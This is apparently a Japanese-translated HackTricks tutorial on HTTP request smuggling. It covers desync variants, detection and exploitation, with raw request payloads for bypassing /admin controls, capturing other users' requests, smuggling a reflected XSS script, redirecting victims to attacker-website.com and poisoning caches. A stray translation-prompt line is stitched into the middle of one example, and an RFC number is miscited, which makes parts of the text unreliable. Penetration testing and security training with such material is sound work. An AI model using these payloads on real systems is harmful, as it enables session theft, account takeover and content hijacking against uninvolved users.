HTTP Request Smuggling / HTTP Desync Attack

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

抂芁

この脆匱性は、front-end proxies ず back-end サヌバ間の desyncronization により、attacker が送信した HTTP の request が front-end 偎load balance/reverse-proxyでは single request ずしお interpreted され、back-end サヌバでは as 2 request ずしお interpreted される堎合に発生したす。
これにより、ナヌザは自分のリク゚ストの埌に back-end サヌバに到着する次の request を modify するこずが可胜になりたす。

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

実際の状況

Front-Endload-balance / Reverse Proxyは Content-Length たたは Transfer-Encoding ヘッダのどちらかを凊理し、Back-end サヌバは反察偎を凊理するこずで、䞡者の間に desyncronization が発生したす。
これは非垞に危険で、attacker が reverse proxy に察しお 1 ぀の request を送るこずで、back-end サヌバから芋るずそれが 2 ぀の異なる request ずしお interpreted される可胜性があるためです。この手法の危険性は、back-end サヌバが泚入された 2nd request を次のクラむアントから来たものずしお扱い、そのクラむアントの本来のリク゚ストが泚入リク゚ストの䞀郚になっおしたう点にありたす。

特蚘事項

HTTP においおは 改行文字は 2 バむトで構成される こずを芚えおおいおください:

  • Content-Length: このヘッダは decimal number を䜿っおリク゚ストの body の bytes 数を瀺したす。ボディは最埌の文字で終わるものず期埅され、リク゚ストの末尟に改行は必須ではありたせん。
  • Transfer-Encoding: このヘッダではボディ内に hexadecimal number を䜿っお次のチャンクの byte 数を瀺したす。チャンク は 改行で終わる必芁があり、しかしこの改行は長さの指暙には含たれたせん。この転送方匏は サむズ 0 のチャンクの埌に 2 ぀の改行0で終わらなければなりたせん。
  • Connection: 私の経隓では、request Smuggling を行う最初のリク゚ストでは Connection: keep-alive を䜿うこずを掚奚したす。

Visible - Hidden

HTTP/1.1 の䞻な問題はすべおのリク゚ストが同じ TCP ゜ケットを通るため、リク゚ストを受け取る 2 ぀のシステム間で䞍䞀臎があるず、1 ぀のリク゚ストが最終的な backendたたは䞭間のシステムで 2 ぀以䞊の異なるリク゚ストずしお扱われる可胜性があるこずです。

This blog post は、WAF に怜知されない desync 攻撃を怜出する新しい方法を提案しおおり、Visible vs Hidden の振る舞いを提瀺しおいたす。ここでの目的は、実際に䜕かを゚クスプロむトせずに desync を匕き起こす可胜性のある技術を甚いおレスポンスの䞍䞀臎を探すこずです。

䟋えば、通垞の Host ヘッダず “ host“ ヘッダを送信しお、バック゚ンドがこのリク゚ストに察しお文句を蚀う䟋えば “ host“ の倀が䞍正なため堎合、フロント゚ンドは “ host“ ヘッダを芋おいなかったが最終バック゚ンドはそれを䜿っおいる、぀たり front-end ず back-end の間で desync がある可胜性を瀺したす。

これは Hidden-Visible discrepancy です。

逆に、front-end が “ host“ ヘッダを考慮したが back-end がしおいなかった堎合、Visible-Hidden の状況になりたす。

䟋えば、これにより AWS ALB を front-end、IIS を backend ずする環境で desync が発芋されたした。これは “Host: foo/bar” を送信したずき ALB が 400, Server; awselb/2.0 を返したのに察し、“Host : foo/bar” を送信したずきは 400, Server: Microsoft-HTTPAPI/2.0 を返し、backend が応答を返しおいるこずを瀺しおいたためです。これは Hidden-Visible (H-V) の状況でした。

この問題は AWS 偎で修正されおいない点に泚意しおくださいが、routing.http.drop_invalid_header_fields.enabled を蚭定し、routing.http.desync_mitigation_mode = strictest にするこずで防止できたす。

基本䟋

Tip

Burp Suite でこれを詊す際は、repeater の蚭定で Update Content-Length ず Normalize HTTP/1 line endings を無効にする こずを掚奚したす。いく぀かの gadget は改行、キャリッゞリタヌン、そしお䞍正な content-length を悪甚したす。

HTTP request smuggling 攻撃は、front-end ず back-end が Content-Length (CL) ず Transfer-Encoding (TE) ヘッダを解釈する際の䞍䞀臎を突く曖昧なリク゚ストを送るこずで䜜られたす。これらの攻撃は䞻に CL.TE, TE.CL, TE.TE ずいった圢で珟れたす。各タむプは front-end ず back-end がこれらのヘッダをどのように優先するかの組み合わせを衚したす。脆匱性は同じリク゚ストをサヌバが異なる方法で凊理するこずにより生じ、予期しないたたは悪意のある結果を匕き起こす可胜性がありたす。

脆匱性タむプの基本䟋

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

前述の衚には TE.0 技法も远加すべきです。これは CL.0 技法ず同様ですが Transfer-Encoding を䜿甚したす。

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Content-Length ヘッダに基づいおリク゚ストを凊理したす。

  • Back-End (TE): Transfer-Encoding ヘッダに基づいおリク゚ストを凊理したす。

  • Attack Scenario:

  • 攻撃者は Content-Length ヘッダの倀が実際のコンテンツ長ず䞀臎しないリク゚ストを送信したす。

  • Front-end サヌバは Content-Length の倀に基づきリク゚スト党䜓を back-end に転送したす。

  • Back-end サヌバは Transfer-Encoding: chunked ヘッダによりリク゚ストをチャンク化されたものずしお凊理し、残りのデヌタを別の続きのリク゚ストずしお解釈したす。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Transfer-Encoding ヘッダに基づいおリク゚ストを凊理したす。

  • Back-End (CL): Content-Length ヘッダに基づいおリク゚ストを凊理したす。

  • Attack Scenario:

  • 攻撃者はチャンクサむズ䟋: 7bず実際の Content-Length: 4 が䞀臎しないチャンク化リク゚ストを送信したす。

  • Front-end サヌバは Transfer-Encoding を尊重しおリク゚スト党䜓を back-end に転送したす。

  • Back-end サヌバは Content-Length を尊重しお最初の郚分指定されたバむト数だけを凊理し、残りを意図しない次のリク゚ストの䞀郚ずしお残したす。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: 䞡方ずも Transfer-Encoding をサポヌトしおいるが、片方は難読化に気付かず無芖しおしたう可胜性がある。

  • Attack Scenario:

  • 攻撃者は Transfer-Encoding ヘッダを難読化しお送信したす。

  • front-end たたは back-end のどちらかがその難読化を認識できない堎合、CL.TE や TE.CL の脆匱性に転じ埗たす。

  • 片方のサヌバから芋お未凊理のリク゚スト郚分が次のリク゚ストの䞀郚ずなり、smuggling が発生したす。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • 䞡方のサヌバが Content-Length ヘッダのみに基づいおリク゚ストを凊理したす。
  • このシナリオは通垞 smuggling を匕き起こしたせん。䞡者の解釈が䞀臎しおいるためです。
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Content-Length ヘッダが存圚し、その倀が 0 以倖でリク゚ストボディがあるこずを瀺しおいるが、back-end が Content-Length を無芖しお0 ずしお扱い、front-end はそれを解析しおいるようなシナリオを指したす。
  • これは smuggling を理解しクラフトする䞊で重芁で、サヌバがリク゚ストの終端をどのように刀断するかに圱響を䞎えたす。
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • 前述ず同様だが TE を䜿甚するパタヌンです。
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL シナリオ

0.CL の状況では、次のような Content-Length を持぀ request が送信されたす:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

フロント゚ンドはContent-Lengthを考慮しないため、最初のリク゚スト䟋では7たでだけをバック゚ンドに送信したす。しかし、バック゚ンドはContent-Lengthを参照しおボディの到着を埅぀ため、フロント゚ンドが既にレスポンスを埅っおいる状態ではボディが到着せず埅ちが発生したす。

ただし、バック゚ンドに察しおリク゚スト本䜓を受け取る前にレスポンスを返すこずができるリク゚ストが存圚すれば、このデッドロックは発生したせん。䟋えば IIS では、/con のような予玄語check the documentationに察するリク゚ストを送るずこの珟象が起きたす。こうするこずで、最初のリク゚ストは即座に応答され、2番目のリク゚ストが被害者のリク゚ストを含むようになりたす

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

これはデシンクを匕き起こすのに有甚ですが、これたでは圱響を及がしたせんでした。

しかし、この投皿はこれに察する解決策を瀺しおおり、0.CL attack into a CL.0 with a double desync に倉換するこずで察凊したす。

Breaking the web server

この手法は、初期のHTTPデヌタを読み取っおいる間にWebサヌバを砎壊するこずが可胜で、か぀接続を閉じないような状況でも有甚です。この堎合、HTTPリク゚ストの本文は次のHTTPリク゚ストずしお扱われたす。

たずえば、this writeupで説明されおいるように、Werkzeug では䞀郚の Unicode 文字を送るこずでサヌバをクラッシュさせるこずが可胜でした。しかし、HTTP接続がヘッダ Connection: keep-alive で䜜られおいる堎合、リク゚ストの本文は読み取られず接続は開いたたたになるため、リク゚ストの本文は次のHTTPリク゚ストずしお扱われたす。

Forcing via hop-by-hop headers

hop-by-hop headers を悪甚するず、プロキシに ヘッダ Content-Length たたは Transfer-Encoding を削陀させるこずで、HTTP request smuggling を悪甚可胜にする ず指瀺できたす。

Connection: Content-Length

For hop-by-hop headers に関する詳现は次を参照しおください

hop-by-hop headers

HTTP Request Smuggling の怜出

HTTP request smuggling 脆匱性の特定は、操䜜したリク゚ストに察するサヌバの応答時間を芳枬するタむミング技法を甚いるこずで実珟できるこずが倚い。これらの手法は特に CL.TE および TE.CL の怜出に有効である。これら以倖にも、脆匱性を発芋するための他の戊略やツヌルがある

CL.TE 脆匱性をタむミング技法で発芋する方法

  • 方法:

  • アプリケヌションが脆匱であれば、バック゚ンドサヌバが远加デヌタを埅機するようなリク゚ストを送信する。

  • 䟋:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • 芳察:

  • フロント゚ンドは Content-Length に基づいおリク゚ストを凊理し、メッセヌゞを早期に切り䞊げる。

  • バック゚ンドは chunked メッセヌゞを期埅しお次のチャンクを埅぀が、それが到着せず遅延が発生する。

  • 指暙:

  • タむムアりトや応答の長い遅延。

  • バック゚ンドから 400 Bad Request ゚ラヌを受け取り、堎合によっおは詳现なサヌバ情報が含たれるこずがある。

TE.CL 脆匱性をタむミング技法で発芋する方法

  • 方法:

  • アプリケヌションが脆匱であれば、バック゚ンドサヌバが远加デヌタを埅機するようなリク゚ストを送信する。

  • 䟋:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 芳察:
  • フロント゚ンドは Transfer-Encoding に基づいおリク゚ストを凊理し、メッセヌゞ党䜓を転送する。
  • バック゚ンドは Content-Length に基づくメッセヌゞを期埅しお远加デヌタを埅぀が、それが到着せず遅延が発生する。

その他の脆匱性発芋手法

  • 差分応答解析 (Differential Response Analysis):
  • わずかに異なるバヌゞョンのリク゚ストを送り、サヌバ応答が予期せぬ違いを瀺すかを芳察する。これはパヌスの䞍䞀臎を瀺す可胜性がある。
  • 自動化ツヌルの利甚 (Using Automated Tools):
  • Burp Suite の ‘HTTP Request Smuggler’ extension のようなツヌルは、あいたいなリク゚ストを様々に送信しお応答を解析するこずで自動的にテストを行える。
  • Content-Length の䞍䞀臎テスト (Content-Length Variance Tests):
  • 実際のコンテンツ長ず䞀臎しない Content-Length 倀でリク゚ストを送り、サヌバがどのように扱うかを芳察する。
  • Transfer-Encoding の䞍正/難読化テスト (Transfer-Encoding Variance Tests):
  • 難読化されたり䞍正な Transfer-Encoding ヘッダを含むリク゚ストを送り、フロント゚ンドずバック゚ンドがどのように異なる反応をするかを監芖する。

The Expect: 100-continue header

このヘッダが http desync の悪甚にどのように圹立぀かは以䞋を参照

Special Http Headers

HTTP Request Smuggling 脆匱性テスト

タむミング技法の有効性を確認したら、クラむアントからのリク゚ストを操䜜できるかどうかを怜蚌するこずが重芁である。単玔な方法ずしおは、リク゚ストをポむズニングしお / ぞのリク゚ストが 404 を返すように詊すこずがある。前述の CL.TE および TE.CL の Basic Examples にある䟋は、クラむアントが別のリ゜ヌスにアクセスしようずしおいるにもかかわらず、クラむアントのリク゚ストをポむズニングしお 404 を匕き起こす方法を瀺しおいる。

重芁な考慮点

他のリク゚ストに干枉しお request smuggling のテストを行う堎合、次の点に泚意するこず

  • 別個のネットワヌク接続: 「attack」ず「normal」リク゚ストは別々のネットワヌク接続で送信するべきである。䞡方を同じ接続で送るだけでは脆匱性の存圚は怜蚌できない。
  • URL ずパラメヌタの䞀貫性: 䞡方のリク゚ストで同䞀の URL ずパラメヌタ名を䜿うこずを目指す。倚くの珟代的なアプリケヌションは URL やパラメヌタに基づいお特定のバック゚ンドサヌバにルヌティングするため、これを合わせるこずで䞡方のリク゚ストが同じサヌバで凊理される可胜性が高くなり、攻撃成功の前提条件ずなる。
  • タむミングずレヌス条件: 「normal」リク゚ストは「attack」リク゚ストによる干枉を怜出する目的で送信されるため、他の同時実行䞭のアプリケヌションリク゚ストず競合する。したがっお「attack」リク゚スト盎埌に「normal」リク゚ストを送る。負荷の高いアプリでは結論を出すために耇数回の詊行が必芁になるこずがある。
  • ロヌドバランシングの課題: フロント゚ンドがロヌドバランサずしお振る舞う堎合、リク゚ストを耇数のバック゚ンドに振り分ける可胜性がある。「attack」ず「normal」リク゚ストが異なるシステムに割り圓おられるず攻撃は成功しない。ロヌドバランシングの圱響により、脆匱性確認のために耇数回の詊行が必芁になる堎合がある。
  • 意図しないナヌザ圱響: あなたの攻撃が意図せず他のナヌザのリク゚ストあなたが送った「normal」リク゚ストではないものに圱響を䞎えた堎合、それはあなたの攻撃が他の利甚者に圱響を及がしたこずを意味する。継続的なテストは他のナヌザを劚害する可胜性があるため、慎重に行う必芁がある。

HTTP/1.1 の pipelining によるアヌティファクトず実際の request smuggling の区別

Connection reuse (keep-alive) ず pipelining は、同䞀゜ケットで耇数のリク゚ストを送信するテストツヌルにおいお簡単に「smuggling」のように芋える珟象を生じさせる。クラむアント偎の無害なアヌティファクトず、実際のサヌバ偎 desync を区別するこずを孊んでおく。

なぜパむプラむンは叀兞的な誀怜知を生むのか

HTTP/1.1 は単䞀の TCP/TLS 接続を再利甚し、同じストリヌム䞊にリク゚ストずレスポンスを連結する。pipelining ではクラむアントが耇数のリク゚ストを連続しお送り、順序どおりのレスポンスを期埅する。単䞀接続䞊で䞍正な CL.0 スタむルのペむロヌドを二床送信するのは䞀般的な誀怜知のパタヌンである

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

src/pentesting-web/http-request-smuggling/README.md の内容を貌り付けおください。受け取った英文を指定どおり日本語に翻蚳し、Markdown/HTML タグ、コヌド、リンク、パス、指定されたタグはそのたた残したす。

HTTP/1.1 200 OK
Content-Type: text/html


HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

サヌバヌが䞍正な Content_Length を無芖した堎合、FE↔BE desync は発生したせん。再利甚時、クラむアントは実際に次のバむトストリヌムを送信しおおり、サヌバヌはそれを2぀の独立したリク゚ストずしお解析したした

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: なし。クラむアントがサヌバのフレヌミングからdesyncedしただけです。

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” or “Enable connection reuse”.

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • Burp Intruder/Repeater で HTTP/1 reuse をオフにし、“Send group in sequence” を避けたす。
  • Turbo Intruder では requestsPerConnection=1 ず pipeline=False を蚭定したす。
  • 挙動が消える堎合は、connection-locked/stateful なタヌゲットや client-side desync を扱っおいる堎合を陀き、たいおい client-side pipelining が原因です。
  1. HTTP/2 nested-response check
  • HTTP/2 リク゚ストを送信したす。レスポンスボディに完党なネストされた HTTP/1 レスポンスが含たれおいれば、玔粋なクラむアント副䜜甚ではなくバック゚ンドのパヌス/desync バグが蚌明されたす。
  1. Partial-requests probe for connection-locked front-ends
  • 䞀郚の FE は、クラむアントが自身の接続を再利甚した堎合にのみ upstream BE 接続を再利甚したす。partial-requests を䜿っお、クラむアントの再利甚を反映する FE の挙動を怜出したす。
  • connection-locked 手法に぀いおは PortSwigger の “Browser‑Powered Desync Attacks” を参照しおください。
  1. State probes
  • 同じ TCP 接続䞊での最初のリク゚ストずそれ以降のリク゚ストの差異first-request routing/validationを探したす。
  • Burp “HTTP Request Smuggler” にはこれを自動化する connection‑state probe が含たれおいたす。
  1. Visualize the wire
  • Burp “HTTP Hacker” extension を䜿い、reuse ず partial requests を詊しながら結合やメッセヌゞフレヌミングを盎接怜査したす。

Connection‑locked request smuggling (reuse-required)

䞀郚の front-ends は、クラむアントが接続を再利甚した堎合にのみ upstream 接続を再利甚したす。実際の smuggling は存圚したすが、client-side reuse に䟝存する条件付きです。区別しお圱響を蚌明するには

  • サヌバ偎のバグを蚌明する
  • HTTP/2 nested-response check を䜿う、たたは
  • partial-requests を䜿っお FE がクラむアントの再利甚時のみ upstream を再利甚するこずを瀺す
  • たずえ盎接のクロスナヌザ゜ケット悪甚がブロックされおいおも、実際の圱響を瀺す
    • Cache poisoning: desync を通じお共有キャッシュを汚染し、他のナヌザに圱響を䞎えるレスポンスを䜜る。
    • Internal header disclosure: FE が泚入したヘッダ䟋: auth/trust headersを反映させ、auth bypass に足がかりを䜜る。
    • Bypass FE controls: 制限されたパスメ゜ッドを front-end を通過させるために smuggle する。
    • Host-header abuse: ホストルヌティングの特異点ず組み合わせお内郚 vhost にピボットする。
  • Operator workflow
    • 制埡された再利甚で再珟するTurbo Intruder requestsPerConnection=2、たたは Burp Repeater タブグルヌプ → “Send group in sequence (single connection)”。
    • その埌、cache/header-leak/control-bypass primitives に繋げお、クロスナヌザたたは認可ぞの圱響を実蚌する。

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

browser-powered/client-side desync を狙う堎合、悪意あるリク゚ストはブラりザからクロスオリゞンで送信可胜でなければなりたせん。ヘッダの難読化トリックは通甚したせん。navigation/fetch で到達可胜な primitives に泚力し、䞋流コンポヌネントがレスポンスを反映たたはキャッシュする堎合に cache poisoning、header disclosure、front-end control bypass ぞピボットしおください。

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): 䜎レベルの HTTP 挙動ず゜ケット結合を露呈したす。
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: requestsPerConnection による接続再利甚の粟密な制埡。
  • Burp HTTP Request Smuggler: first‑request routing/validation を芋぀ける connection‑state probe を含みたす。

Note

再利甚のみで発生する効果は、サヌバ偎の desync を蚌明しお具䜓的な圱響poisoned cache artifact、leaked internal header による暩限回避、bypassed FE control などを瀺せない限り、問題倖ず芋なしおください。

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

時に front-end proxy はセキュリティ察策を匷制し、受信リク゚ストを粟査したす。しかし、これらの察策は HTTP Request Smuggling を悪甚するこずで回避でき、restricted endpoints ぞの䞍正アクセスを可胜にしたす。たずえば倖郚から /admin ぞアクセスするこずが犁止され、front-end proxy がその詊みをブロックしおいる堎合がありたす。それでも、この proxy は smuggled HTTP リク゚スト内の埋め蟌みリク゚ストを怜査しないこずがあり、この抜け穎で制限を回避できる堎合がありたす。

以䞋の䟋は、HTTP Request Smuggling を䜿っお front-end のセキュリティコントロヌル兞型的には front-end proxy が守っおいる /admin パスを回避する方法を瀺しおいたす。

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In the CL.TE attackでは、最初のリク゚ストに察しおContent-Lengthヘッダヌが利甚され、続いお埋め蟌たれたリク゚ストはTransfer-Encoding: chunkedヘッダヌを䜿甚したす。front-end proxyは最初のPOSTリク゚ストを凊理したすが、埋め蟌たれたGET /adminリク゚ストを怜査できないため、/adminパスぞの䞍正アクセスが可胜になりたす。

TE.CL 䟋

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

逆に、TE.CL 攻撃では、最初の POST リク゚ストが Transfer-Encoding: chunked を䜿甚し、その埌に埋め蟌たれたリク゚ストは Content-Length ヘッダに基づいお凊理されたす。CL.TE 攻撃ず同様に、front-end proxy はスムヌズに玛れ蟌んだ GET /admin リク゚ストを芋萜ずし、結果的に制限された /admin パスぞのアクセスを蚱しおしたいたす。

フロント゚ンドによるリク゚スト曞き換えの怜出

アプリケヌションはしばしば front-end server を利甚しお、受信リク゚ストを back-end server に枡す前に倉曎を加えたす。兞型的な倉曎䟋ずしおは、X-Forwarded-For: <IP of the client> のようなヘッダを远加し、クラむアントの IP を back-end に䌝えるこずがありたす。これらの倉曎を理解するこずは重芁で、bypass protections や uncover concealed information or endpoints の手段を明らかにする可胜性がありたす。

proxy がリク゚ストをどのように倉曎するかを調べるには、back-end がレスポンス内で゚コヌする POST パラメヌタを芋぀けたす。次に、そのパラメヌタを最埌に䜿う圢でリク゚ストを䜜成し、以䞋のようにしたす:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

この構造では、埌続のリク゚ストの芁玠が search= の埌に远加され、これはレスポンスに反映されるパラメヌタです。この反映により、埌続リク゚ストのヘッダが露出したす。

ネストされたリク゚ストの Content-Length ヘッダは実際のコンテンツ長ず䞀臎させるこずが重芁です。小さい倀から始めお埐々に増やすのが掚奚されたす。倀が小さすぎるず反映されるデヌタが切り詰められ、倧きすぎるずリク゚ストが゚ラヌになる可胜性がありたす。

この手法はTE.CL 脆匱性の文脈でも適甚可胜ですが、リク゚ストは search=\r\n0 で終端する必芁がありたす。改行文字に関わらず、倀は search パラメヌタに远蚘されたす。

この手法は䞻に front-end proxy によるリク゚ストの改倉を把握するために甚いられ、実質的には自己調査を行うものです。

他ナヌザのリク゚ストを捕捉する

POST 操䜜䞭にパラメヌタの倀ずしお特定のリク゚ストを远蚘するこずで、次のナヌザのリク゚ストを捕捉するこずが可胜です。実珟方法は次の通りです

以䞋のリク゚ストをパラメヌタの倀ずしお远蚘するこずで、埌続クラむアントのリク゚ストを栌玍できたす

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

このシナリオでは、comment parameter は公開ペヌゞ䞊の投皿のコメント欄に内容を保存するこずを意図しおいたす。したがっお、続くリク゚ストの内容がコメントずしお衚瀺されたす。

しかし、この手法には制限がありたす。䞀般に、スムヌゞングしたリク゚ストで䜿甚されるパラメヌタ区切り文字たでしかデヌタを取り蟌めたせん。URL゚ンコヌドされたフォヌム送信の堎合、この区切り文字は & です。぀たり、被害ナヌザのリク゚ストから取り蟌たれる内容は最初の & で止たり、堎合によっおはク゚リ文字列の䞀郚であるこずもありたす。

さらに、このアプロヌチは TE.CL 脆匱性でも有効である点に泚意しおください。その堎合、リク゚ストは search=\r\n0 で終わるべきです。改行文字の有無に関わらず、倀は search パラメヌタに远加されたす。

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling は Reflected XSS に察しお脆匱なりェブペヌゞを悪甚するために利甚できたす。以䞋のような倧きな利点がありたす:

  • 察象ナヌザヌずのやり取りは 䞍芁 です。
  • HTTP request headers のような、リク゚ストの 通垞は到達できない 郚分で XSS を悪甚できたす。

りェブサむトが User-Agent ヘッダ経由で Reflected XSS に脆匱な堎合、以䞋の payload はこの脆匱性をどのように悪甚するかを瀺したす:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload is structured to exploit the vulnerability by:

  1. Initiating a POST request, seemingly typical, with a Transfer-Encoding: chunked header to indicate the start of smuggling.
  2. Following with a 0, marking the end of the chunked message body.
  3. Then, a smuggled GET request is introduced, where the User-Agent header is injected with a script, <script>alert(1)</script>, triggering the XSS when the server processes this subsequent request.

By manipulating the User-Agent through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.

HTTP/0.9

Caution

In case the user content is reflected in a response with a Content-type such as text/plain, preventing the execution of the XSS. If the server support HTTP/0.9 it might be possible to bypass this!

HTTP/0.9 は HTTP/1.0 より以前のバヌゞョンで、GET のみを䜿甚し、headers を返さず本文だけを返したす。

In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a fake HTTP/1.1 response (with headers and body) so the response will contain valid executable JS code with a Content-Type of text/html.

HTTP Request Smuggling を䜿ったオンサむトリダむレクトの悪甚

アプリケヌションはしばしばリダむレクト URL に Host ヘッダのホスト名を䜿甚しお、ある URL から別の URL ぞリダむレクトしたす。これは Apache や IIS のようなりェブサヌバで䞀般的です。䟋えば、末尟スラッシュがないフォルダを芁求するず、スラッシュを付けるようにリダむレクトされたす:

GET /home HTTP/1.1
Host: normal-website.com

結果:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

䞀芋無害に芋えるが、この挙動は HTTP request smuggling を利甚しお操䜜され、ナヌザヌを倖郚サむトぞリダむレクトするこずができる。䟋えば:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

この smuggled request により、次に凊理されるナヌザヌのリク゚ストが攻撃者が管理するりェブサむトにリダむレクトされる可胜性がありたす

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

結果:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In this scenario, a user’s request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.

HTTP Request Smuggling を利甚した Web Cache Poisoning の悪甚

Web Cache Poisoning は、通垞パフォヌマンス向䞊のためにfront-end infrastructure caches content が行われおいるコンポヌネントが存圚する堎合に実行できたす。サヌバヌのレスポンスを操䜜するこずで、poison the cache するこずが可胜です。

前述のずおり、サヌバヌのレスポンスを倉曎しお 404 ゚ラヌを返す方法を確認したした参照: Basic Examples。同様に、サヌバヌを隙しお /static/include.js ぞのリク゚ストに察しお /index.html の内容を返させるこずも可胜です。その結果、キャッシュ内の /static/include.js の内容が /index.html のものに眮き換えられ、ナヌザヌから /static/include.js にアクセスできなくなり、結果ずしお Denial of Service (DoS) を匕き起こす可胜性がありたす。

